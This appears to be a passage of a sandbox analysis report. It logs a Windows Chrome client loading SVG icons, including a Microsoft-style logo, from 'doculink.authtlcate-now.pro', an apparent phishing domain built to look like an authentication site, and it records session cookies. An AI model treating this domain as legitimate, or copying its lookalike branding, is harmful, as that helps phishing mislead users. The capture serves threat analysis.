2024-04-25 13:31:15 UTC	775	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:14 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:58 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1636 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tNWp%2BSUjqPhm%2FOtn4t8zMvB1U5cURwaMeHQZb1X%2Bq%2BWE6JcPofrEavsQCTYI%2FQ2MuLGm47DSzdRVgIx12asvQ%2Fx1BXSROGUA1Fv9KNmMJqx93JS8fF9QUL4gFbfrirpXkXkJV0EvcOH%2BoU%2B3azo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a8d694535-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	594	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-25 13:31:15 UTC	1005	IN	Data Raw: 30 2c 31 2c 32 2e 32 31 39 2c 31 2e 37 31 39 41 31 31 2e 33 37 33 2c 31 31 2e 33 37 33 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 Data Ascii: 0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.16	49803	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:14 UTC	955	OUT	GET /x/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff59 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/7d719490e0f1a74c929a6fbc76695143662a5b2072bc5LOG7d719490e0f1a74c929a6fbc76695143662a5b2072bc6 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:31:15 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XtC%2B3FMGlMV52rY4I%2B%2BXIIzEhUWEVA%2B%2BAOUU5IJcZvQYJyyKxtJEBqih4oYLWCgpKnn1R0yBooieYXnMKyQduF8aSFAiaZQlLLP3ufAsgwfvytEdFVi6ZUOumzkbUiI7W0Ah3ZnEsDlLTBRi20Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13a799e53bd-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	607	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-25 13:31:15 UTC	1264	IN	Data Raw: 35 2e 36 63 36 39 30 2e 32 34 36 20 30 20 31 32 34 39 2e 38 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 Data Ascii: 5.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.16	49807	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:15 UTC	588	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	767	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:58 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1637 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3m6znT%2BjTmzH1pHe0%2BjroJ6FryRfR8gLIHGZKBLsexrQa6gznAbn9u455UYwHgI2wwVVtY7oCZMgpN0%2F5KvwzUATLyQUCywB8RZ6MHOOZaJuM7bjeQTSaFAD5SdL0uT7c1B45ZacPIPQ0%2FyifjM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13dbe3b6779-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	602	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-25 13:31:15 UTC	997	IN	Data Raw: 39 2c 31 2e 37 31 39 41 31 31 2e 33 37 33 2c 31 31 2e 33 37 33 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d Data Ascii: 9,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49808	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:15 UTC	584	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	769	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:58 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1637 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hw5%2FbIRP98Q3qtayvEwiKvxKHIlERQP38ps86C7AOTnXyFWwzuVq6rJo3ucfmEQYoJ%2FoCYbz%2BCZC90ueUDIkYNh%2BxnRIBIkUJ8cxBQPjSPyn%2BmvS2Hqm5lGDbljwjALvVvXn90klIPYgDmWYtm0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13dcbe2ade3-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	600	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 2d 31 2e 35 35 34 2e 31 36 34 2c 34 2e 37 30 37 2c 34 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c Data Ascii: -1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 31 2e 37 39 2e 37 39 2c 30 2c 30 2c 30 2c 2e 33 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 Data Ascii: 1.79.79,0,0,0,.375-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214
2024-04-25 13:31:15 UTC	320	IN	Data Raw: 32 30 39 2d 2e 37 38 34 2c 33 2e 33 34 31 2c 33 2e 33 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 Data Ascii: 209-.784,3.341,3.341,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y
2024-04-25 13:31:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49809	104.21.34.108	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:31:15 UTC	614	OUT	GET /o/3ab171f76fa12ca7e775f401a8a53f3e662a5b225ff82 HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; cf_clearance=gfaoJsd9VUHMKC1QTEHamIOtS9oh028YKS_ofCy7s0Y-1714051870-1.0.1.1-6izTGZQS_dl2nD8oq3uITK1YXnPJ_GQL952e7rEGugxXSMjge5jpEBN1Gzds1XHbUQybI7rjxYKzie8bcSC3cw
2024-04-25 13:31:15 UTC	760	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:31:15 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:31:15 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I%2Fob29fgoL72vo6dLbDtN3m1qdkeZzCHSQ3XxCSlJ%2BGeUWANMVoQ0q7EIq5B4kKE%2BDveuOqPe2z8DlNy03EahjjeLgQDMmuqFsyPg2peZY2aRIDygL%2BjJrTjXrybFGIEgVvTTEbfwHO9wnzxPXg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb13ee93353d3-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:31:15 UTC	609	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-25 13:31:15 UTC	1369	IN	Data Raw: 34 2c 34 2e 37 30 37 2c 34 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e Data Ascii: 4,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.
